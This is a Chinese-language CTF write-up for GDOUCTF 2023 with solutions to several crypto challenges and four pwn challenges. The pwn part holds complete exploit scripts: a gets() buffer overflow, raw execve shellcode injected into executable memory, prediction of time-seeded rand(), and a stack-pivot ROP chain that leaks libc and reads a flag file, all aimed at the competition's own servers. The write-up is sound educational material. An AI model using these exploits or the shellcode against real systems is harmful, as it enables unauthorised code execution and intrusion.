> 文章列表 > [GDOUCTF 2023] crypto pwn 部分

[GDOUCTF 2023] crypto pwn 部分

[GDOUCTF 2023] crypto pwn 部分

没时间参加,作了几个补了几个。

Crypto

Absolute_Baby_Encrytpion

通过js作的字符替换,再整个表替换回去即可。只是一直不清楚python里的字典怎么把键和值互换。把原程序里替换后就是键和值,反过来没有函数。

cipher = '+}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&'
tab1 = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':'\\'','=':'r','`':'k','~':'p','{':'\\"','}':'&','[':'/',']':'\\\\','|':'2',':':'.',';':'%','\\"':'|','\\'':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}tab2 = {}
for v in tab1:tab2[tab1[v]]= vplain = ''.join([tab2[c] for c in cipher])
print(plain)
#flag{c0rrectly_decrypted_the_$ecret_flag_encrypted_with_5up3r_easy_b@by_encryp7ion_alg0r!thm_written_in_vanil1a_js}

babylua

lua写的程序,好在md5大家都是一样的。

local flag = '' --这里是你要逆推出的flag
local md5 = require("md5")math.randomseed(os.time())local function randomStr(len)local rankStr = ""local randNum = 0for i = 1, len dorandNum = math.random(1, 2)if randNum == 1 thenrankStr = rankStr .. string.char(math.random(65, 90))elseif randNum == 2 thenrankStr = rankStr .. string.char(math.random(97, 122))endendreturn rankStr
endlocal seed = randomStr(4)
local key = md5.sumhexa(md5.sumhexa(seed))
print(key:sub(1,10))secret = {}for i = 1, #flag dosecret[i] = string.byte(flag:sub(i,i)) + string.byte(key:sub(i,i))
endfor i, v in ipairs(secret) doio.write(v, ' ')
endprint()--程序运行输出结果:
--b5e62abe84
--200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225
--请你分析代码,逆向推出flag

题目由4个字符的key来加密,直接爆破key就行了

from pwn import *
import string
from hashlib import md5found = iters.bruteforce(lambda x: md5(md5(x.encode()).hexdigest().encode()).hexdigest()[:10] == 'b5e62abe84', string.ascii_letters,4)
print(found)key = md5(md5(b'kKpU').hexdigest().encode()).hexdigest().encode()c = [200,161,198,157,173,169,199,150,105,163,193,175,173,194,135,131,135,225]
p = [c[i]-key[i] for i in range(len(c))]
print(bytes(p))
#flag{He11o_Lua!!!}

Magic_Of_Encoding

这个没弄出来,后来问的别人。

题目把一个压缩包base64后插入好多fake base64后的值。当直接b64decode后由于插入的位置不是整4字符的位置,导致出现乱码无法把全部的fake删除。

所有fake长度都是3的倍数,编码后没有=

from base64 import *msg = open('Magic_Of_Encoding.txt','rb').read()blist = [b'flag{Xd_fake_flag_xD}', b'find_me_if_you_can', b'flag{not_the_correct_flag_lol}',b'\\nflag{not_the_correct_flag_lol}\\nflag{not_the_correct_flag_lol}\\n']#这些数据夹在密文中间(每段密文不都是3的整数倍,解码后会出现混乱,要先删除再解码)
for i in blist:msg = msg.replace(b64encode(i), b'')
open('aaa.zip', 'wb').write(b64decode(msg))

Math Problem

这个也没弄出来,也是问的,不过从此学会了一个:epsilon

#!/usr/bin/env sage
import secret
from Crypto.Util.number import *p, q = getPrime(512), getPrime(512)
e, n = 0x10001, p * q
c = pow(bytes_to_long(secret.flag), e, n)
print(f"{e = }\\n{n = }\\n{c = }")a, b = getPrime(512), getPrime(512)
E = EllipticCurve(GF(p), [a, b])
G = E.lift_x(ZZ(getPrime(64)))
print(f"{a = }\\n{b = }\\ny = {G.xy()[1]}")

这题是两块第1块是RSA,第2块是ECC,其中ECC的模是RSA里的p

ECC给出参数a,b和一个点的y值,x值是64位的素数。

1,对于求知模的椭圆曲线方程,在模p的情况成立,在模n的情况下也成立。可以用n作模求点的x值。

卡在这里了,coppersmith方法一般使用两个参数X和beta,其中X是所求常量的范围,beta是n的幂,一般要小于0.5允许1位小数,也就是0.4

其实还有第3个参数,不常用忽略了。epsilon这个一般是beta/7 ,表示作格基规约时取的规模,值越小规模越大,这个题需要从0.05一点点调,0.02才能成功。当然0.01时也行,只是运行时间很长。

2,求出x值后再代入方程与n取公约数求p

e = 65537
n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854PR.<x> = PolynomialRing(Zmod(n))
f = x^3 + a*x + b - y^2 #epsilon的话调得小对应的Lattice规模要大一点,应用起来的感觉就是耗时更长、求解的可能性更大
f.small_roots(X=2^64, beta=0.4, epsilon=0.02)x = 9757458594430450711
p = gcd(int(f(x)),n)q = n//p 
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#flag{c4edd6d0-d1b3-cbda-95e3-a323edc35be5}

PWN

ez_pwn

在check里password输入这用的gets有溢出,长度是15+v3+fd+v5,覆盖到v5即可。

int check()
{int result; // eaxchar buf[10]; // [rsp+7h] [rbp-29h] BYREFchar s1[15]; // [rsp+11h] [rbp-1Fh] BYREFssize_t v3; // [rsp+20h] [rbp-10h]int fd; // [rsp+28h] [rbp-8h]int v5; // [rsp+2Ch] [rbp-4h]v5 = 0;fd = open("/dev/urandom", 0);if ( fd < 0 ){puts("Can't access /dev/urandom.");exit(1);}v3 = read(fd, buf, 0xAuLL);if ( v3 < 0 ){puts("Data not received from /dev/urandom");exit(1);}close(fd);puts("Password:");gets(s1);result = strcmp(s1, buf);if ( result )result = puts("I swore that was the right password ...");elsev5 = 1;if ( v5 ){puts("Guess I couldn't gaslight you!");return print_flag();}return result;
}
from pwn import *p = remote('node4.anna.nssctf.cn', 28243)
context(arch='amd64', log_level='debug')p.sendlineafter(b"Password:", b'\\x00'*15+ p32(1)*4)
p.recvline()
p.recvline()
p.recvline()p.interactive()

shellcode

这题也简单,bss可执行,只需要先写入shellcode再溢出跳过去就行,只是对shellcode长度有要求,不能超0x20,以前存了不少,有21字节的。

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[10]; // [rsp+6h] [rbp-Ah] BYREFsetbuf(stdin, 0LL);setbuf(stderr, 0LL);setbuf(stdout, 0LL);mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);puts("Please.");read(0, &name, 0x25uLL);puts("Nice to meet you.");puts("Let's start!");read(0, buf, 0x40uLL);return 0;
}
from pwn import *#p = process('./ezshellcode')
p = remote('node4.anna.nssctf.cn', 28804)
context(arch='amd64', log_level='debug')code = b"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05"
p.sendlineafter(b'Please.\\n', code)
p.sendlineafter(b"Let's start!", b'\\x00'*10 + p64(0x6010a0)*3)p.interactive()

真男人下120层

前两天才从网友这问了这个问题,今天就出现了。

对于libc的srand(time(0))得到的是系统时间的秒数作种子,本地和远端都使用ntp同步,时间差不到1秒很正常。所以本地也作个srand(time(0))就一样了。这题要猜120次。

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxint v4; // eaxint v6; // [rsp+8h] [rbp-18h] BYREFunsigned int i; // [rsp+Ch] [rbp-14h]__int64 v8; // [rsp+10h] [rbp-10h]unsigned __int64 v9; // [rsp+18h] [rbp-8h]v9 = __readfsqword(0x28u);setbuf(_bss_start, 0LL);v3 = time(0LL);srand(v3);v8 = 2772839826LL;v4 = rand();srand(v4 % 3 - 1522127470);printf("\\x1B[31m");puts("\\n\\n");puts(" ##   ## #######  ####### ######## ####### ");puts(" ##   ##     ###  ##         ##    ##      ");puts(" #######   ###    ##         ##    ####    ");puts(" ##   ## ###      ##         ##    ##      ");puts(" ##   ## #######  #######    ##    ##      \\n\\n");printf("\\x1B[0m");puts("Welcome!");puts(aThereAreFourDo);puts("Only one door leads to the right path. If you choose the wrong one, you will be killed by a trap.\\n");for ( i = 1; (int)i <= 120; ++i ){print_door();printf("\\t\\t\\tFloor %d\\n\\n", i);__isoc99_scanf("%d", &v6);if ( rand() % 4 + 1 != v6 ){printf("\\x1B[31m");puts("YOU DIED!");printf("\\x1B[0m");return 0;}system("clear");}puts("Congratulation!");cat_flag();return 0;
}

直接用ctypes调用个libc即可(另外,并不用关心libc的版本,rand基本相同)

from pwn import *
from ctypes import *p = remote('node5.anna.nssctf.cn', 28480)context(arch='amd64', log_level='debug')libc = cdll.LoadLibrary("./libc-2.31.so")libc.srand(libc.time(0))
libc.srand( libc.rand() % 3 - 1522127470)for i in range(120):p.sendlineafter(b"", str(libc.rand() %4 + 1).encode())p.recvline()p.interactive()

Random

还是随机数,跟上题一样,然后有溢出,但溢出很小,所以要用个移栈。同时需要用ORW,这样payload会比较长。

ssize_t vulnerable()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("your door");return read(0, buf, 0x40uLL);
}

移栈会在leave ret时发生,会将rbp的值赋给rsp然后pop rdp然后再执行。

第1次由于rsp在栈上,位置不可控,所以要移到bss可写区里

第2次写入里在pay后部写两个然后向前移栈再进行写

第3次写到第1次后部让前边的0x10与后边的前0x20连一起,组成一个长的payload

这个payload执行read功能,向bss里写入orw

作完一想这里可能弄复杂了,第1次写完这里rsi是有值的,read的时候只需要pop rdx就行,那么两次移栈就行了,没必要弄3次。

from pwn import *
from ctypes import *#p = remote('node5.anna.nssctf.cn', 28233)
p = process('./RANDOM')
context(arch='amd64', log_level='debug')libc = cdll.LoadLibrary("./libc-2.31.so")
libc.srand(libc.time(0))elf = ELF('./RANDOM')
libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')pop_rdi = 0x0000000000400ae3 # pop rdi ; ret
pop_rsi = 0x0000000000400ae1 # pop rsi ; pop r15 ; ret
pop_rbp = 0x0000000000400951 # pop rbp ; ret
leave_ret = 0x400948
bss = 0x601800
p.sendlineafter(b"please input a guess num:", str(libc.rand()%50 ).encode())pay = flat(pop_rdi, elf.got['setbuf'], 0x40092c)
p.sendafter(b"your door\\n", b'\\x00'*0x20 + p64(bss) + pay)
libc_elf.address = u64(p.recvline()[:-1].ljust(8, b'\\x00')) - libc_elf.sym['setbuf']#gdb.attach(p, 'b*0x400947')print(f"{libc_elf.address= :x}")
pop_rdx_rsi = libc_elf.address + 0x00000000001151c9 # pop rdx ; pop rsi ; ret #next(libc_elf.search(asm('pop rdx;pop rsi;ret')))
pop_rax     = libc_elf.address + 0x000000000003a738 # pop rax ; ret #next(libc_elf.search(asm('pop rax;ret')))
#                                                        read(0,bss,0x100)
#
p.send(flat(bss+0x40,0x400931,0,0,bss-0x20,leave_ret, bss+0x38,pop_rdx_rsi))
p.send(flat(0x100,bss+0x20, libc_elf.sym['read'],0,bss+0x10, pop_rbp, bss+0x10,leave_ret))par = [b'flag.txt',0,pop_rdi+1, pop_rdi+1, pop_rdi,bss+0x20, pop_rdx_rsi, 0, 0, libc_elf.sym['open'], pop_rdi,3, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['read'],pop_rdi,1, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['write']]
p.send(flat(par))
p.recv()
p.interactive()

这回的rev都很难,就签了个到算了。